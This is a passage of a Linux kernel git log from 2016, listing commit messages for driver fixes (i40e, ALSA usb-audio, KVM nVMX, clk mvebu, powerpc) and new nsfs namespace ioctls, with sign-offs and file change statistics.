tested v1.2) which reports a different non-sensical volume range (0..53) and the custom map is therefore not applied for that device. This results in all of the volume change appearing close to 100% on mixer UIs that utilize the dB TLV information. Add a fallback case where no dB TLV is reported at all if the control range is not 0..50 but still 0..N where N <= 1000 (3.9 dB). Also restrict the quirk to only apply to the volume control as there is also a mute control which would match the check otherwise. Fixes: 42e3121d90f4 ("ALSA: usb-audio: Add a more accurate volume quirk for AudioQuest DragonFly") Signed-off-by: Anssi Hannula Reported-by: David W Tested-by: David W Cc: Signed-off-by: Takashi Iwai sound/usb/mixer_quirks.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) commit 903e68323bb62cc8ca30c5a7a41d962f92c27b97 Author: Lihong Yang Date: Tue Sep 6 18:05:05 2016 -0700 i40evf: remove unnecessary error checking against i40e_shutdown_adminq The i40e_shutdown_adminq function never returns failure. There is no need to check the non-0 return value. Clean up the unnecessary error checking and warning against it. Change-ID: Ibb616f09cfb93bd1a872ebf3241a15fb8354b31b Signed-off-by: Lihong Yang Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf_main.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 841493a3f64395b60554afbcaa17f4350f90e764 Author: Alexander Duyck Date: Tue Sep 6 18:05:04 2016 -0700 i40e: Limit TX descriptor count in cases where frag size is greater than 16K The i40e driver was incorrectly assuming that we would always be pulling no more than 1 descriptor from each fragment. It is in fact possible for us to end up with the case where 2 descriptors worth of data may be pulled when a frame is larger than one of the pieces generated when aligning the payload to either 4K or pieces smaller than 16K. To adjust for this we just need to make certain to test all the way to the end of the fragments as it is possible for us to span 2 descriptors in the block before us so we need to guarantee that even the last 6 descriptors have enough data to fill a full frame. Change-ID: Ic2ecb4d6b745f447d334e66c14002152f50e2f99 Signed-off-by: Alexander Duyck Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_txrx.c | 7 ++----- drivers/net/ethernet/intel/i40evf/i40e_txrx.c | 7 ++----- 2 files changed, 4 insertions(+), 10 deletions(-) commit cb130a0b41d2a825fa48d7dfc964f08da9ccbb96 Author: Bimmy Pujari Date: Tue Sep 6 18:05:03 2016 -0700 i40evf: remove unnecessary error checking against i40evf_up_complete Function i40evf_up_complete() always returns success. Changed this to a void type and removed the code that checks the return status and prints an error message. Change-ID: I8c400f174786b9c855f679e470f35af292fb50ad Signed-off-by: Bimmy Pujari Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf_main.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 3f341acc1c65b800ced567174c683cda12dfb17d Author: Sridhar Samudrala Date: Thu Sep 1 22:27:27 2016 +0200 i40evf: Fix link state event handling Currently disabling the link state from PF via ip link set enp5s0f0 vf 0 state disable doesn't disable the CARRIER on the VF. This patch updates the carrier and starts/stops the tx queues based on the link state notification from PF. PF: enp5s0f0, VF: enp5s2 #modprobe i40e #echo 2 > /sys/class/net/enp5s0f0/device/sriov_numvfs #ip link set enp5s2 up #ip -d link show enp5s2 175: enp5s2: mtu 1500 qdisc mq state UP mode DEFAULT group default qlen 1000 link/ether ea:4d:60:bc:6f:85 brd ff:ff:ff:ff:ff:ff promiscuity 0 addrgenmode eui64 #ip link set enp5s0f0 vf 0 state disable #ip -d link show enp5s0f0 171: enp5s0f0: mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether 68:05:ca:2e:72:68 brd ff:ff:ff:ff:ff:ff promiscuity 0 addrgenmode eui64 numtxqueues 72 numrxqueues 72 portid 6805ca2e7268 vf 0 MAC 00:00:00:00:00:00, spoof checking on, link-state disable, trust off vf 1 MAC 00:00:00:00:00:00, spoof checking on, link-state auto, trust off #ip -d link show enp5s2 175: enp5s2: mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000 link/ether ea:4d:60:bc:6f:85 brd ff:ff:ff:ff:ff:ff promiscuity 0 addrgenmode eui64 numtxqueues 16 numrxqueues 16 Signed-off-by: Sridhar Samudrala Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf_main.c | 4 ++++ drivers/net/ethernet/intel/i40evf/i40evf_virtchnl.c | 10 +++++++--- 2 files changed, 11 insertions(+), 3 deletions(-) commit ff918912e1b8ba4e743d1f0b06ced1d01969e17c Author: Colin Ian King Date: Sun Aug 28 18:41:01 2016 +0100 i40e: avoid potential null pointer dereference when assigning len There is a sanitcy check for desc being null in the first line of function i40evf_debug_aq. However, before that, aq_desc is cast from desc, and aq_desc is being dereferenced on the assignment of len, so this could be a potential null pointer deference. Fix this by moving the initialization of len to the code block where len is being used and hence at this point we know it is OK to dereference aq_desc. Signed-off-by: Colin Ian King Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40e_common.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b3f5c7bc88bab134e9649e42d30be15e3775f00d Author: Carolyn Wyborny Date: Wed Aug 24 11:33:51 2016 -0700 i40e: Fix for extra byte swap in tunnel setup This patch fixes an issue where we were byte swapping the port parameter, then byte swapping it again in function execution. Obviously, that's unnecessary, so take it out of the function calls. Without this patch, the udp based tunnel configuration would not be correct. Change-ID: I788d83c5bd5732170f1a81dbfa0b1ac3ca8ea5b7 Signed-off-by: Carolyn Wyborny Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d4a0658d813ec72965a52f04f07258a4018ccb17 Author: Carolyn Wyborny Date: Wed Aug 24 11:33:50 2016 -0700 i40e: Fix to check for NULL This patch fixes an issue in the virt channel code, where a return from i40e_find_vsi_from_id was not checked for NULL when applicable. Without this patch, there is a risk for panic and static analysis tools complain. This patch fixes the problem by adding the check and adding an additional input check for similar reasons. Change-ID: I7e9be88eb7a3addb50eadc451c8336d9e06f5394 Signed-off-by: Carolyn Wyborny Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 8d9d927f4ab8d87fee91d9aa8bdcdf19a1787ce0 Author: Mitch Williams Date: Wed Aug 24 11:33:49 2016 -0700 i40e: return correct opcode to VF This conditional is backward, so the driver responds back to the VF with the wrong opcode. Do the old switcheroo to fix this. Change-ID: I384035b0fef8a3881c176de4b4672009b3400b25 Signed-off-by: Mitch Williams Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a01c7f6709925919e2e3c6c190a92692f63f74e4 Author: Alan Brady Date: Wed Aug 24 11:33:47 2016 -0700 i40e: fix "dump port" command when NPAR enabled When using the debugfs to issue the "dump port" command with NPAR enabled, the firmware reports back with invalid argument. The issue occurs because the pf->mac_seid was used to perform the query. This is fine when NPAR is disabled because the switch ID == pf->mac_seid, however this is not the case when NPAR is enabled. This fix instead goes through the VSI to determine the correct ID to use in either case. Change-ID: I0cd67913a7f2c4a2962e06d39e32e7447cc55b6a Signed-off-by: Alan Brady Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_debugfs.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit f15823510246444052b35f148c7ae627842b0e05 Author: Alan Brady Date: Wed Aug 24 11:33:46 2016 -0700 i40e: fix setting user defined RSS hash key Previously, when using ethtool to change the RSS hash key, ethtool would report back saying the old key was still being used and no error was reported. It was unclear whether it was being reported incorrectly or being set incorrectly. Debugging revealed 'i40e_set_rxfh()' returned zero immediately instead of setting the key because a user defined indirection table is not supplied when changing the hash key. This fix instead changes it such that if an indirection table is not supplied, then a default one is created and the hash key is now correctly set. Change-ID: Iddb621897ecf208650272b7ee46702cad7b69a71 Signed-off-by: Alan Brady Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e.h | 2 ++ drivers/net/ethernet/intel/i40e/i40e_ethtool.c | 12 +++++++----- drivers/net/ethernet/intel/i40e/i40e_main.c | 6 ++---- 3 files changed, 11 insertions(+), 9 deletions(-) commit c1fad9ef7ed14aad464972e6444e7a3bd5670f26 Author: Josh Poimboeuf Date: Thu Sep 22 16:21:25 2016 -0500 objtool: Add do_task_dead() to global noreturn list objtool reports the following new warning: kernel/exit.o: warning: objtool: do_exit() falls through to next function complete_and_exit() The warning is caused by do_exit()'s new call to do_task_dead(), which is a new "noreturn" function which objtool doesn't know about yet, introduced by: 9af6528ee9b6 ("sched/core: Optimize __schedule()") ( objtool has to know all the global noreturn functions so it can follow the control flow of any functions which call them. Unfortunately they need to be hard-coded because there's no automated way to detect them. ) Reported-by: kbuild test robot Signed-off-by: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: kbuild-all@01.org Cc: tipbuild@zytor.com Link: http://lkml.kernel.org/r/20160922212125.zbuewckqll4yur25@treble Signed-off-by: Ingo Molnar tools/objtool/builtin-check.c | 1 + 1 file changed, 1 insertion(+) commit 6b652de2b27c0a4020ce0e8f277e782b6af76096 Merge: 739f1bc 2d83145 Author: Ingo Molnar Date: Fri Sep 23 07:21:38 2016 +0200 Merge tag 'perf-core-for-mingo-20160922' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/core Pull perf/core improvements from Arnaldo Carvalho de Melo: New features: - Add support for interacting with Coresight PMU ETMs/PTMs, that are IP blocks to perform hardware assisted tracing on a ARM CPU core (Mathieu Poirier) Infrastructure changes: - Histogram prep work for the upcoming c2c tool (Jiri Olsa) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 739f1bcd045f473d79358aac94439722d41a2650 Merge: 89f1c2c 3bf6215 Author: Ingo Molnar Date: Fri Sep 23 07:20:33 2016 +0200 Merge branch 'perf/urgent' into perf/core, to pick up fixes Signed-off-by: Ingo Molnar commit 213b067ce314f9d7e72307c7036ba3cd285b80da Author: Eric W. Biederman Date: Thu Sep 22 19:39:20 2016 -0500 nsfs: Simplify __ns_get_path Move mntget from the very beginning of __ns_get_path to the success path of __ns_get_path, and remove the mntget calls. This removes the possibility that there will be a mntget/mntput pair of __ns_get_path has to retry, and generally simplifies the code. Signed-off-by: "Eric W. Biederman" fs/nsfs.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 78725596644be0181c46f55c52aadfb8c70bcdb7 Merge: 93f0a88 6ad92bf Author: Eric W. Biederman Date: Thu Sep 22 20:00:36 2016 -0500 Merge branch 'nsfs-ioctls' into HEAD From: Andrey Vagin Each namespace has an owning user namespace and now there is not way to discover these relationships. Pid and user namepaces are hierarchical. There is no way to discover parent-child relationships too. Why we may want to know relationships between namespaces? One use would be visualization, in order to understand the running system. Another would be to answer the question: what capability does process X have to perform operations on a resource governed by namespace Y? One more use-case (which usually called abnormal) is checkpoint/restart. In CRIU we are going to dump and restore nested namespaces. There [1] was a discussion about which interface to choose to determing relationships between namespaces. Eric suggested to add two ioctl-s [2]: > Grumble, Grumble. I think this may actually a case for creating ioctls > for these two cases. Now that random nsfs file descriptors are bind > mountable the original reason for using proc files is not as pressing. > > One ioctl for the user namespace that owns a file descriptor. > One ioctl for the parent namespace of a namespace file descriptor. Here is an implementaions of these ioctl-s. $ man man7/namespaces.7 ... Since Linux 4.X, the following ioctl(2) calls are supported for namespace file descriptors. The correct syntax is: fd = ioctl(ns_fd, ioctl_type); where ioctl_type is one of the following: NS_GET_USERNS Returns a file descriptor that refers to an owning user names‐ pace. NS_GET_PARENT Returns a file descriptor that refers to a parent namespace. This ioctl(2) can be used for pid and user namespaces. For user namespaces, NS_GET_PARENT and NS_GET_USERNS have the same meaning. In addition to generic ioctl(2) errors, the following specific ones can occur: EINVAL NS_GET_PARENT was called for a nonhierarchical namespace. EPERM The requested namespace is outside of the current namespace scope. [1] https://lkml.org/lkml/2016/7/6/158 [2] https://lkml.org/lkml/2016/7/9/101 Changes for v2: * don't return ENOENT for init_user_ns and init_pid_ns. There is nothing outside of the init namespace, so we can return EPERM in this case too. > The fewer special cases the easier the code is to get > correct, and the easier it is to read. // Eric Changes for v3: * rename ns->get_owner() to ns->owner(). get_* usually means that it grabs a reference. Cc: "Eric W. Biederman" Cc: James Bottomley Cc: "Michael Kerrisk (man-pages)" Cc: "W. Trevor King" Cc: Alexander Viro Cc: Serge Hallyn commit 6ad92bf63e45f97e306da48cd1cbce6e4fef1e5d Author: Andrey Vagin Date: Tue Sep 6 00:47:16 2016 -0700 tools/testing: add a test to check nsfs ioctl-s There are two new ioctl-s: One ioctl for the user namespace that owns a file descriptor. One ioctl for the parent namespace of a namespace file descriptor. The test checks that these ioctl-s works and that they handle a case when a target namespace is outside of the current process namespace. Signed-off-by: Andrei Vagin Signed-off-by: Eric W. Biederman tools/testing/selftests/Makefile | 1 + tools/testing/selftests/nsfs/Makefile | 12 +++++ tools/testing/selftests/nsfs/owner.c | 91 +++++++++++++++++++++++++++++++++++ tools/testing/selftests/nsfs/pidns.c | 78 ++++++++++++++++++++++++++++++ 4 files changed, 182 insertions(+) commit a7306ed8d94af729ecef8b6e37506a1c6fc14788 Author: Andrey Vagin Date: Tue Sep 6 00:47:15 2016 -0700 nsfs: add ioctl to get a parent namespace Pid and user namepaces are hierarchical. There is no way to discover parent-child relationships. In a future we will use this interface to dump and restore nested namespaces. Acked-by: Serge Hallyn Signed-off-by: Andrei Vagin Signed-off-by: Eric W. Biederman fs/nsfs.c | 4 ++++ include/linux/proc_ns.h | 1 + include/uapi/linux/nsfs.h | 2 ++ kernel/pid_namespace.c | 19 +++++++++++++++++++ kernel/user_namespace.c | 1 + 5 files changed, 27 insertions(+) commit 6786741dbf99e44fb0c0ed85a37582b8a26f1c3b Author: Andrey Vagin Date: Tue Sep 6 00:47:14 2016 -0700 nsfs: add ioctl to get an owning user namespace for ns file descriptor Each namespace has an owning user namespace and now there is not way to discover these relationships. Understending namespaces relationships allows to answer the question: what capability does process X have to perform operations on a resource governed by namespace Y? After a long discussion, Eric W. Biederman proposed to use ioctl-s for this purpose. The NS_GET_USERNS ioctl returns a file descriptor to an owning user namespace. It returns EPERM if a target namespace is outside of a current user namespace. v2: rename parent to relative v3: Add a missing mntput when returning -EAGAIN --EWB Acked-by: Serge Hallyn Link: https://lkml.org/lkml/2016/7/6/158 Signed-off-by: Andrei Vagin Signed-off-by: Eric W. Biederman fs/nsfs.c | 96 ++++++++++++++++++++++++++++++++++++++++------- include/uapi/linux/nsfs.h | 11 ++++++ 2 files changed, 94 insertions(+), 13 deletions(-) commit bcac25a58bfc6bd79191ac5d7afb49bea96da8c9 Author: Andrey Vagin Date: Tue Sep 6 00:47:13 2016 -0700 kernel: add a helper to get an owning user namespace for a namespace Return -EPERM if an owning user namespace is outside of a process current user namespace. v2: In a first version ns_get_owner returned ENOENT for init_user_ns. This special cases was removed from this version. There is nothing outside of init_user_ns, so we can return EPERM. v3: rename ns->get_owner() to ns->owner(). get_* usually means that it grabs a reference. Acked-by: Serge Hallyn Signed-off-by: Andrei Vagin Signed-off-by: Eric W. Biederman fs/namespace.c | 6 ++++++ include/linux/proc_ns.h | 1 + include/linux/user_namespace.h | 7 +++++++ ipc/namespace.c | 6 ++++++ kernel/cgroup.c | 6 ++++++ kernel/pid_namespace.c | 6 ++++++ kernel/user_namespace.c | 24 ++++++++++++++++++++++++ kernel/utsname.c | 6 ++++++ net/core/net_namespace.c | 6 ++++++ 9 files changed, 68 insertions(+) commit 576243b3f9eaa47ab568ac49574b3a095c2365f1 Author: Keith Busch Date: Tue Sep 13 10:31:59 2016 -0600 PCI: pciehp: Allow exclusive userspace control of indicators PCIe hotplug supports optional Attention and Power Indicators, which are used internally by pciehp. Users can't control the Power Indicator, but they can control the Attention Indicator by writing to a sysfs "attention" file. The Slot Control register has two bits for each indicator, and the PCIe spec defines the encodings for each as (Reserved/On/Blinking/Off). For sysfs "attention" writes, pciehp_set_attention_status() maps into these encodings, so the only useful write values are 0 (Off), 1 (On), and 2 (Blinking). However, some platforms use all four bits for platform-specific indicators, and they need to allow direct user control of them while preventing pciehp from using them at all. Add a "hotplug_user_indicators" flag to the pci_dev structure. When set, pciehp does not use either the Attention Indicator or the Power Indicator, and the low four bits (values 0x0 - 0xf) of sysfs "attention" write values are written directly to the Attention Indicator Control and Power Indicator Control fields. [bhelgaas: changelog, rename flag and accessors to s/attention/indicator/] Signed-off-by: Keith Busch Signed-off-by: Bjorn Helgaas drivers/pci/hotplug/pciehp.h | 3 +++ drivers/pci/hotplug/pciehp_core.c | 3 +++ drivers/pci/hotplug/pciehp_hpc.c | 27 +++++++++++++++++++++++++++ include/linux/pci.h | 3 +++ 4 files changed, 36 insertions(+) commit c5a6d5f7faad8549bb5ff7e3e5792e33933c5b9f Author: Wanpeng Li Date: Thu Sep 22 17:55:54 2016 +0800 KVM: nVMX: Fix the NMI IDT-vectoring handling Run kvm-unit-tests/eventinj.flat in L1: Sending NMI to self After NMI to self FAIL: NMI This test scenario is to test whether VMM can handle NMI IDT-vectoring info correctly. At the beginning, L2 writes LAPIC to send a self NMI, the EPT page tables on both L1 and L0 are empty so: - The L2 accesses memory can generate EPT violation which can be intercepted by L0. The EPT violation vmexit occurred during delivery of this NMI, and the NMI info is recorded in vmcs02's IDT-vectoring info. - L0 walks L1's EPT12 and L0 sees the mapping is invalid, it injects the EPT violation into L1. The vmcs02's IDT-vectoring info is reflected to vmcs12's IDT-vectoring info since it is a nested vmexit. - L1 receives the EPT violation, then fixes its EPT12. - L1 executes VMRESUME to resume L2 which generates vmexit and causes L1 exits to L0. - L0 emulates VMRESUME which is called from L1, then return to L2. L0 merges the requirement of vmcs12's IDT-vectoring info and injects it to L2 through vmcs02. - The L2 re-executes the fault instruction and cause EPT violation again. - Since the L1's EPT12 is valid, L0 can fix its EPT02 - L0 resume L2 The EPT violation vmexit occurred during delivery of this NMI again, and the NMI info is recorded in vmcs02's IDT-vectoring info. L0 should inject the NMI through vmentry event injection since it is caused by EPT02's EPT violation. However, vmx_inject_nmi() refuses to inject NMI from IDT-vectoring info if vCPU is in guest mode, this patch fix it by permitting to inject NMI from IDT-vectoring if it is the L0's responsibility to inject NMI from IDT-vectoring info to L2. Cc: Paolo Bonzini Cc: Radim Krčmář Cc: Jan Kiszka Cc: Bandan Das Signed-off-by: Wanpeng Li Reviewed-by: Paolo Bonzini Signed-off-by: Radim Krčmář arch/x86/kvm/vmx.c | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) commit f6e90f9e0ee3df5010e7f378e669d6838b9a25bf Author: Wanpeng Li Date: Thu Sep 22 07:43:25 2016 +0800 KVM: VMX: Enable MSR-BASED TPR shadow even if APICv is inactive I observed that kvmvapic(to optimize flexpriority=N or AMD) is used to boost TPR access when testing kvm-unit-test/eventinj.flat tpr case on my haswell desktop (w/ flexpriority, w/o APICv). Commit (8d14695f9542 x86, apicv: add virtual x2apic support) disable virtual x2apic mode completely if w/o APICv, and the author also told me that windows guest can't enter into x2apic mode when he developed the APICv feature several years ago. However, it is not truth currently, Interrupt Remapping and vIOMMU is added to qemu and the developers from Intel test windows 8 can work in x2apic mode w/ Interrupt Remapping enabled recently. This patch enables TPR shadow for virtual x2apic mode to boost windows guest in x2apic mode even if w/o APICv. Can pass the kvm-unit-test. Suggested-by: Radim Krčmář Suggested-by: Wincy Van Reviewed-by: Radim Krčmář Cc: Paolo Bonzini Cc: Radim Krčmář Cc: Wincy Van Cc: Yang Zhang Signed-off-by: Wanpeng Li Signed-off-by: Radim Krčmář arch/x86/kvm/vmx.c | 132 ++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 94 insertions(+), 38 deletions(-) commit c83b6d1594bfff8cdb95becb338b8fe9e3473c8d Author: Wanpeng Li Date: Tue Sep 6 17:20:33 2016 +0800 KVM: nVMX: Fix reload apic access page warning WARNING: CPU: 1 PID: 4230 at kernel/sched/core.c:7564 __might_sleep+0x7e/0x80 do not call blocking ops when !TASK_RUNNING; state=1 set at [] prepare_to_swait+0x39/0xa0 CPU: 1 PID: 4230 Comm: qemu-system-x86 Not tainted 4.8.0-rc5+ #47 Call Trace: dump_stack+0x99/0xd0 __warn+0xd1/0xf0 warn_slowpath_fmt+0x4f/0x60 ? prepare_to_swait+0x39/0xa0 ? prepare_to_swait+0x39/0xa0 __might_sleep+0x7e/0x80 __gfn_to_pfn_memslot+0x156/0x480 [kvm] gfn_to_pfn+0x2a/0x30 [kvm] gfn_to_page+0xe/0x20 [kvm] kvm_vcpu_reload_apic_access_page+0x32/0xa0 [kvm] nested_vmx_vmexit+0x765/0xca0 [kvm_intel] ? _raw_spin_unlock_irqrestore+0x36/0x80 vmx_check_nested_events+0x49/0x1f0 [kvm_intel] kvm_arch_vcpu_runnable+0x2d/0xe0 [kvm] kvm_vcpu_check_block+0x12/0x60 [kvm] kvm_vcpu_block+0x94/0x4c0 [kvm] kvm_arch_vcpu_ioctl_run+0x619/0x1aa0 [kvm] ? kvm_arch_vcpu_ioctl_run+0xdf1/0x1aa0 [kvm] kvm_vcpu_ioctl+0x2d3/0x7c0 [kvm] =============================== [ INFO: suspicious RCU usage. ] 4.8.0-rc5+ #47 Not tainted ------------------------------- ./include/linux/kvm_host.h:535 suspicious rcu_dereference_check() usage! other info that might help us debug this: rcu_scheduler_active = 1, debug_locks = 0 1 lock held by qemu-system-x86/4230: #0: (&vcpu->mutex){+.+.+.}, at: [] vcpu_load+0x1c/0x60 [kvm] stack backtrace: CPU: 1 PID: 4230 Comm: qemu-system-x86 Not tainted 4.8.0-rc5+ #47 Call Trace: dump_stack+0x99/0xd0 lockdep_rcu_suspicious+0xe7/0x120 gfn_to_memslot+0x12a/0x140 [kvm] gfn_to_pfn+0x12/0x30 [kvm] gfn_to_page+0xe/0x20 [kvm] kvm_vcpu_reload_apic_access_page+0x32/0xa0 [kvm] nested_vmx_vmexit+0x765/0xca0 [kvm_intel] ? _raw_spin_unlock_irqrestore+0x36/0x80 vmx_check_nested_events+0x49/0x1f0 [kvm_intel] kvm_arch_vcpu_runnable+0x2d/0xe0 [kvm] kvm_vcpu_check_block+0x12/0x60 [kvm] kvm_vcpu_block+0x94/0x4c0 [kvm] kvm_arch_vcpu_ioctl_run+0x619/0x1aa0 [kvm] ? kvm_arch_vcpu_ioctl_run+0xdf1/0x1aa0 [kvm] kvm_vcpu_ioctl+0x2d3/0x7c0 [kvm] ? __fget+0xfd/0x210 ? __lock_is_held+0x54/0x70 do_vfs_ioctl+0x96/0x6a0 ? __fget+0x11c/0x210 ? __fget+0x5/0x210 SyS_ioctl+0x79/0x90 do_syscall_64+0x81/0x220 entry_SYSCALL64_slow_path+0x25/0x25 These can be triggered by running kvm-unit-test: ./x86-run x86/vmx.flat The nested preemption timer is based on hrtimer which is started on L2 entry, stopped on L2 exit and evaluated via the new check_nested_events hook. The current logic adds vCPU to a simple waitqueue (TASK_INTERRUPTIBLE) if need to yield pCPU and w/o holding srcu read lock when accesses memslots, both can be in nested preemption timer evaluation path which results in the warning above. This patch fix it by leveraging request bit to async reload APIC access page before vmentry in order to avoid to reload directly during the nested preemption timer evaluation, it is safe since the vmcs01 is loaded and current is nested vmexit. Cc: Paolo Bonzini Cc: Radim Krčmář Cc: Yunhong Jiang Signed-off-by: Wanpeng Li Signed-off-by: Radim Krčmář arch/x86/kvm/vmx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ce836c2974dd9f1ebeb73882cec2a83b8830c749 Author: Rob Herring Date: Thu Sep 8 13:41:02 2016 -0500 kvmconfig: add virtio-gpu to config fragment virtio-gpu is used for VMs, so add it to the kvm config. Signed-off-by: Rob Herring Cc: Christoffer Dall Cc: Marc Zyngier Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: kvmarm@lists.cs.columbia.edu Cc: kvm@vger.kernel.org [expanded "frag" to "fragment" in summary] Signed-off-by: Radim Krčmář kernel/configs/kvm_guest.config | 1 + 1 file changed, 1 insertion(+) commit bd6c92221d2081045cbc5f13c8c1de77e3ff569e Author: Rob Herring Date: Thu Sep 8 13:41:01 2016 -0500 config: move x86 kvm_guest.config to a common location kvm_guest.config is useful for KVM guests on other arches, and nothing in it appears to be x86 specific, so just move the whole file. Kbuild will find it in either location. Signed-off-by: Rob Herring Cc: Christoffer Dall Cc: Marc Zyngier Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: kvmarm@lists.cs.columbia.edu Cc: kvm@vger.kernel.org Acked-by: Christoffer Dall Signed-off-by: Radim Krčmář arch/x86/configs/kvm_guest.config | 31 ------------------------------- kernel/configs/kvm_guest.config | 31 +++++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+), 31 deletions(-) commit a0245eb76ad0f652f1eb14f48ca2d3c4391aef66 Author: Marcin Wojtas Date: Wed Sep 21 11:05:58 2016 +0200 clk: mvebu: dynamically allocate resources in Armada CP110 system controller Original commit, which added support for Armada CP110 system controller used global variables for storing all clock information. It worked fine for Armada 7k SoC, with single CP110 block. After dual-CP110 Armada 8k was introduced, the data got overwritten and corrupted. This patch fixes the issue by allocating resources dynamically in the driver probe and storing it as platform drvdata. Fixes: d3da3eaef7f4 ("clk: mvebu: new driver for Armada CP110 system ...") Signed-off-by: Marcin Wojtas Reviewed-by: Thomas Petazzoni CC: Signed-off-by: Stephen Boyd drivers/clk/mvebu/cp110-system-controller.c | 29 ++++++++++++++++++++--------- 1 file changed, 20 insertions(+), 9 deletions(-) commit ad715b268a501533ecb2e891a624841d1bb5137c Author: Marcin Wojtas Date: Wed Sep 21 11:05:57 2016 +0200 clk: mvebu: fix setting unwanted flags in CP110 gate clock Armada CP110 system controller comprises its own routine responsble for registering gate clocks. Among others 'flags' field in struct clk_init_data was not set, using a random values, which may cause an unpredicted behavior. This patch fixes the problem by resetting all fields of clk_init_data before assigning values for all gated clocks of Armada 7k/8k SoCs family. Fixes: d3da3eaef7f4 ("clk: mvebu: new driver for Armada CP110 system ...") Signed-off-by: Marcin Wojtas CC: Signed-off-by: Stephen Boyd drivers/clk/mvebu/cp110-system-controller.c | 2 ++ 1 file changed, 2 insertions(+) commit f1a55ce0544251746d9b52fb85ad32f31a43fbd2 Author: Rui Teng Date: Fri Sep 2 14:17:26 2016 +0800 powerpc: Clean up tm_abort duplication in hash_utils_64.c The same logic appears twice and should probably be pulled out into a function. Suggested-by: Michael Ellerman Signed-off-by: Rui Teng [mpe: Rename to tm_flush_hash_page() and move comment into the function] Signed-off-by: Michael Ellerman arch/powerpc/mm/hash_utils_64.c | 56 ++++++++++++++++++----------------------- 1 file changed, 25 insertions(+), 31 deletions(-) commit 6060e9ea8d2b69fff8fc70ed6a1df242224dc197 Author: Andrew Donnellan Date: Fri Sep 16 20:39:44 2016 +1000 powerpc/powernv: Fix comment style and spelling Signed-off-by: Andrew Donnellan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/pci-ioda.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 148151a66a74bf43c6acc932a3f6cca464837b78 Author: Christophe Leroy Date: Fri Aug 5 13:27:59 2016 +0200 powerpc/32: Remove CLR_TOP32 CLR_TOP32() is defined as blank. Last useful instance of CLR_TOP32() was removed by commit 40ef8cbc6d360 ("powerpc: Get 64-bit configs to compile with ARCH=powerpc") in 2005. Signed-off-by: Christophe Leroy Signed-off-by: Michael Ellerman arch/powerpc/include/asm/ppc_asm.h | 1 - arch/powerpc/kernel/entry_32.S | 1 - arch/powerpc/kernel/head_32.S | 3 --- arch/powerpc/kernel/head_8xx.S | 1 - 4 files changed, 6 deletions(-) commit 6b8cb66a6a7cc182b47da6a0a1d4e5da324c0695 Author: Christophe Leroy Date: Mon Sep 19 12:58:54 2016 +0200 powerpc: Fix usage of _PAGE_RO in hugepage On some CPUs like the 8xx, _PAGE_RW hence _PAGE_WRITE is defined as 0 and _PAGE_RO has to be set when a page is not writable _PAGE_RO is defined by default in pte-common.h, however BOOK3S/64 doesn't include that file so _PAGE_RO has to be defined explicitly in book3s/64/pgtable.h Fixes: a7b9f671f2d14 ("powerpc32: adds handling of _PAGE_RO") Signed-off-by: Christophe Leroy Reviewed-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/include/asm/book3s/64/pgtable.h | 2 ++ arch/powerpc/mm/hugetlbpage.c | 7 +++++++ 2 files changed, 9 insertions(+) commit af2e3a009e7f73c3def283a768ea2cef69ae883e Author: Russell Currey Date: Mon Sep 12 14:17:24 2016 +1000 powerpc/eeh: Skip finding bus until after failure reporting In eeh_handle_special_event(), eeh_pe_bus_get() is called before calling eeh_report_failure() on every device under a PE. If a PE was missing a bus for some reason, the error would occur before reporting failure, even though eeh_report_failure() doesn't require a bus. Fix this by moving the bus retrieval and error check after the eeh_report_failure() calls. Signed-off-by: Russell Currey Reviewed-by: Andrew Donnellan Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh_driver.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e98ddb77166a4d7ba6235b20a1328ecb137debb2 Author: Russell Currey Date: Mon Sep 12 14:17:23 2016 +1000 powerpc/powernv/eeh: Skip finding bus for VF resets When the PE used in pnv_eeh_reset() is that of a VF, pnv_eeh_reset_vf_pe() is used. Unlike the other reset functions called in pnv_eeh_reset(), the VF reset doesn't require a bus, and if a bus was missing the function would error out before resetting the VF PE. To avoid this, reorder the VF reset function to occur before finding and checking the bus. Signed-off-by: 